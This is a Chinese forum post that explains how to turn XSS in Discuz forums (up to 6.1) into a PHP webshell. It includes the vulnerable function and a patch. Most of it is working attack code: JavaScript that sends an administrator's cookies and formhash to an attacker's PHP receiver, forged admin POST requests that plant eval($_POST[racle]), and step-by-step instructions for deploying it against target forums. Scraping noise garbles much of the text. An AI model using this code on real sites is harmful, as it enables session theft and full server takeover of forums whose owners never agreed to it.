Discuz XSS得webshell
* L# t9 _6 Q* j9 ?3 m1 U3 XBy racle @tian6.com
( d3 v. l$ |( t5 Z) L欢迎转帖.但请保留版权信息.
+ a$ s: M. M3 H3 z受影响版本 iscuz<=6.1.0,gbk+utf+big5
9 \. C, O1 m2 N8 G: ~: k1 i* U+ G; v+ T$ D( {4 f
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.- T) Z2 ^" {' d0 H) e
% P; a9 Z M# I5 e' H8 W3 c
4 v C0 i `0 r. {) G3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706$ S; j1 e" @" m* N) S" q
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
* y5 U) f, |+ M% r9 I: N7 s: m3 j, X- _% h5 X) S" [4 U
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
! P; P S5 i+ Q. ^% P' P本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS3 v7 ?; u3 f, {" }
0 ~4 A: A* W, Y! Z
6 @ o% Z( @5 c
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------7 {% g4 p M' E. E9 Q# V% k3 z4 S4 D
1 G5 v' {+ l; Q0 d- r
* X5 p* Y0 E2 B/ v% r+ a9 ~problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.' s! d& ]$ ~4 h- J4 I" s
0 h. @0 R/ {. f3 Nproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer." f1 c5 n1 X. h" i8 W+ Y3 H
}) W. L: o- {% V, X
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
. x' y0 Y+ _+ @) l! s1 h2 q3 T- L, x& d, @
5 Y3 E& ?$ s- c" Z: O; x
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
( q% O" q9 B1 i9 t \3 q& T! M
& x1 `4 b0 }- v global $runwizardfile, $runwizardhistory;
! S! p a. k( b6 e# \9 L
& H- H" D: A9 {: r2 g $fp = fopen($runwizardfile, 'w');
/ O* K$ q& X8 U% c2 ~9 R" q1 e% F. d4 [
fwrite($fp, serialize($runwizardhistory));
, t0 m6 R$ j2 s; d. {+ f! {# h5 R+ z" \6 s: ?2 A% z) r
fclose($fp);: C% K) M" W" f4 S7 n# k/ L
: M/ Q$ a! G# {4 i+ _& @4 _! |0 D( \}8 ], y/ a# \4 |7 k. y' F3 P
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
/ h& E: {. d7 X( r9 z5 S' O以下是修补的办法:function saverunwizardhistory() {
3 O! X; n) r9 Z) H; G( q
" e' b+ J8 Y& E& _' H8 I1 a global $runwizardfile, $runwizardhistory;
+ [* |& W$ g, }; f3 k1 V
J" ?5 E: b6 J" x7 l, {% o $fp = fopen($runwizardfile, 'w');
% g4 I8 P* H# j3 I* L# R( x3 H% h6 n+ e' o$ G
$s = '<?php exit;?>';7 A2 h$ n3 p9 M$ G d3 n
S) P$ p# n* X5 D K z; w0 S x
$s .= serialize($runwizardhistory);
* _+ F0 T& ^! ~: U% E! ]! J, |5 r/ O# J n$ i _, p! H8 C
fwrite($fp, $s);
/ Q+ g$ _8 h5 u! ~- a6 ?( }$ A8 A; Z, u9 w& L( y) H* P/ I6 n
fclose($fp);- r5 |+ i, h# V d; p2 I7 Y/ H
* O0 B* t n1 K; ?, I
}% N) x7 s; e/ ^& H
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.1 t6 X# d6 e# o
f3 p% \) d) O+ P$ t3 o- y
- Z: D; f' x* O' ~: [& g7 z$ f6 b
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
0 u9 I* _- F) F, {5 l t' ]: H5 \* A
: C3 L$ _5 K8 A G; w# E
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
+ {/ M, e# e. A3 i! Y W5 [) v
8 `6 B6 L! J; f/ |0 l3 l( j我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.' y0 D8 c0 y2 h# e w: r$ x8 f
/ d! A, \8 J2 p( t' {- w/ o这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少." h! r1 M& h, J0 Z9 u
9 ^% O( L: ~# \. c" f
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
$ E7 E/ w$ ?# V( `3 l2 ]" A& {
4 x* l. Q7 n. f0 @var url="http://目标网站/admincp.php"; $ ?; q1 @' ~$ l7 f# p) w
1 V% l' v. q. B: L0 I
/*获得cookies*/
( D! c3 r& l& {5 V2 i& k
" s" l3 M$ ]. G% d0 {. z9 efunction getURL(s) {7 `% P% x1 m" n# E
5 t9 J+ \: v: O. e$ qvar image = new Image();
, ?$ c1 @( S" }2 t4 P3 y. }- M- G
" A( N4 J5 M: ?6 o- Q6 Pimage.style.width = 0;
; o; k4 M1 ^" p4 ~6 r4 U
; Y( q+ w) D* X7 ?image.style.height = 0;
5 @& a( v7 A5 j8 x! V0 I# S/ J0 { V- i
image.src = s;
9 B2 C5 x6 Z% y) Z, K' S0 c0 g( E$ U. \1 h. @ n- W$ z, l
}4 _9 i/ U9 S! H0 w# ~. i. |0 \6 t2 r
L l# G" i2 BgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php- w- B0 ?+ a; y. ]0 z! \4 W+ \
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
) Q: Q9 ]2 n6 N% H2 P, D7 t复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ( }# r, _) U w7 N. L# P) `4 g
) f) U# C$ o) l4 A- K5 S6 j! C9 [- Y* F( J5 u6 H& R
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";, _# l. t/ B1 I ~- P, N
/ e) N! K% B5 X9 a8 s) \1 I, A! d5 k- A! U5 N' N( ?" D/ B
- c3 @" D. J) V9 _0 x7 {) j+ O# I0 o
/*hash*/. i5 M- [5 _$ E0 l% I, X
4 Z) h) e9 [) ^5 y. H
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");* H+ |" Q# k- w* o0 O! D; j4 c
; Z2 X6 h- a# S9 |xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
* E0 V* _- E/ [: d) [9 e- r/ ^2 i6 W$ L
xmlHttpReq.send();
9 ?* b, I! |+ x& A8 y! K W1 w8 {1 Y1 H8 r2 b, @2 X6 I# c
var resource = xmlHttpReq.responseText;
' @& I6 ~; N: _; d- R$ W% @4 L6 G1 {* K( r
var numero = resource.search(/formhash/);
. z3 f+ Z' [! Q- S! ^; `0 o, b$ Z O/ K) c$ G
var formhash=encodeURIComponent(resource.substr(numero+17,8));
7 S1 L" {7 Z$ |, [% q3 f$ p6 f5 L9 Y0 o! Y" {$ j; E2 }
1 E$ E; k8 o, @8 c" y
% L- c7 A+ T e2 [3 Svar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
+ b8 W$ z# T7 f. I0 E3 ^% P6 a
+ M6 L5 D7 I# C, `. [. l& u6 I& zxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 6 i; ]# L0 L$ i: R1 \- J/ X6 e
+ F- @8 ^& Y8 p+ i4 H& m- v
xmlHttpReq.setRequestHeader("Referer", url);
. [$ Z+ E* k* W' k/ y7 E" r# ?- _/ W* q5 R
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");: N" V. d% V4 k o! H8 f/ F3 y* J
" S* q: v5 u, C6 fxmlHttpReq.setrequestheader("content-length",post.length);
* ~. A. z, `5 J/ F+ x7 \" F
2 F; f9 Y4 [- h! T, j: ~, C- `: ~xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
% X! V% }8 R0 [# v6 V; n1 O# R& O7 s
xmlHttpReq.send(post);//发送数据
4 s! ^& z1 ^0 f: h复制代码这里HASH我假设正确,这样提交,也无须cookies* m/ C! W. c! y) P, G$ z6 Z
) n( X0 E5 m( ?
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);: a9 n# Q( u7 O4 Y( |6 ?
) A7 `$ l2 u2 s0 aif (!$sock) die("$errstr ($errno)\n");4 ^& w& F/ c& @2 y
5 u( {- N+ G9 n
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
5 |0 Z/ u5 }. W- C! }% d$ S9 U! X" D
, |+ I$ m' [2 q9 {. \9 y
! d# z/ x- ?) I5 E! ?fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");; C' B/ H- U' z9 V: k3 ^
. l+ j! c+ r( @
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
* L4 Y; S& v9 H; u6 z# G4 `! H; Q i5 _8 }. u
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
* ?+ O9 s# U) Y
6 Q6 |, k4 y& lfwrite($sock, "Accept-Language: zh-cn\r\n");7 ^+ n; G9 [* |( L
" h0 z9 x z$ L
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");' U- Y F3 B; o4 f" y G
8 h/ g! h$ U! S$ U+ z) W
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");+ _$ j) u& ]( X& D* i2 J
, h7 {1 `! a0 h* ~- Q. g' F3 O
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
9 N5 @# S8 o8 t; f3 o4 S1 j6 W3 W
fwrite($sock, "Host: $url\r\n");
/ p0 `# ~3 l) m, J0 F0 I# r; J- @- `% D! p. U; c7 x3 V: w6 w2 F
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");7 w7 z+ j4 m! X# K! m/ I
5 r o- ] G2 i" g$ F! B. Mfwrite($sock, "Connection: Keep-Alive\r\n");$ u( u8 n8 N5 c' s: W
8 {% K v2 I6 Tfwrite($sock, "Cache-Control: no-cache\r\n");4 e) ]) d6 |! ~# p3 h" e7 W
8 m+ ^4 E: @ G" S( Q
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
! q3 Y1 A+ }/ Y2 P; f/ ^
& z: W; M8 W1 l+ m3 T$ v& rfwrite($sock, $data);; f8 C" @! i, y( J
0 K; F! C8 R7 Z9 k" o
. u8 v% B2 y) P8 `5 m6 y5 ~7 Q2 k8 O# J. b7 l
$headers = "";
, G5 h# P% V7 n; G5 g9 S8 g
4 B7 Y2 @0 u5 g1 B3 k+ ~! J1 {; Jwhile ($str = trim(fgets($sock, 4096)))+ A) m' _$ d" {1 V {
1 ?% E1 g* e9 s' K1 D0 S ~3 J
$headers .= "$str\n";
$ c% P0 ?1 k# E: z$ m% v: P8 [8 c
echo "\n";) K( i8 d0 M" U; `2 A
- R% e6 S" ]1 H- n2 {3 r" e6 r
$body = "";
) F4 J+ P0 `0 J9 t. y
9 d& a; e7 ]1 n( c1 Awhile (!feof($sock))
2 t1 i5 r2 a/ i, _
9 c- i/ m7 ^4 h% _5 R $body .= fgets($sock, 4096);
6 b' v1 f, y7 ~% A
. i3 w. S f8 z$ Lfclose($sock);& u8 J% W/ Y5 N5 r! D! l3 w
- p9 T. T( h- Decho $body;: M# b6 I) a1 F
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
5 ^+ t g4 O% K6 N! ~
. T7 W# @6 a4 b, W. n
# U, q9 F- W% ~. _+ _-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
- k5 g3 [$ E$ i/ Z8 G; [! W# k1 Y v1 `% R9 v: b( [) E% H( H
- c" C/ f, E( _
1 HP SOCKET利用方法首先打开racle.js
7 P9 x4 @& r' |- p9 Y# n" w/ ] q- \
. f3 Q: `- H5 l8 evar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
+ a2 f+ a) E8 @+ b' F% {# c8 e7 ]( C5 B
% [( e' l* P" i. @0 s' I+ l7 B9 f. o, A$ G$ F2 y/ U
然后打开racle@tian6.php
8 C& S3 `8 J1 K8 | o* `4 a6 P# w7 |4 y! B) V; W& G# L
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
3 Z: g* n7 \4 I% W/ G4 G3 U2 U+ j/ o" r; G4 q, L2 ]
8 b2 m) _, V7 T% O9 @; h/ K! S. N" v+ E" q+ O* x2 o
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:$ H6 l( l# M' M$ R( X# @# {* P
$ v' F! q K7 f0 N0 L/ QgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
' l( d8 t4 y9 o0 l0 o4 j! v8 l$ W8 L, k2 L- k
为
" |; T7 M6 C# M1 n1 f4 `/ ]8 r: F. H
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
9 H. k [* o, y; e, I& H! f1 }% s复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.2 M/ f# O( i* R* `
: ~$ p% k: R0 S) L
7 v. E( Z; ^7 p. s0 [; N
5 b1 [- i# c$ [ T! x如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
) A. W4 l- ^3 V1 @, Z+ K4 U
5 _1 \7 [2 t; u2 n1 I/ T4 Yvar formhash=encodeURIComponent(resource.substr(numero+17,8));
- I- [' Z J2 s' V! e8 Q8 E; s3 u& f
为7 C0 k3 \8 O- y
/ x7 X8 P" ~. ^var formhash=encodeURIComponent(resource.substr(numero+9,8));- r! `/ l" `# }, k& Y' G
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
* o' n5 a" t: m1 y: L7 g% |2 F; N$ C" V
u. t# o' k$ S; O6 u如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.) m3 M- _8 O% o0 P" {
: n( R% E3 g" H" \* M! h. y2 I如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点. m1 ?9 g" ]( D' W4 b. \9 ]
5 H) s! [/ r2 d$ {- G
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
* t% W; \9 B3 A7 a8 ^' a: X5 x j
; z! m9 l: |% ?$ T |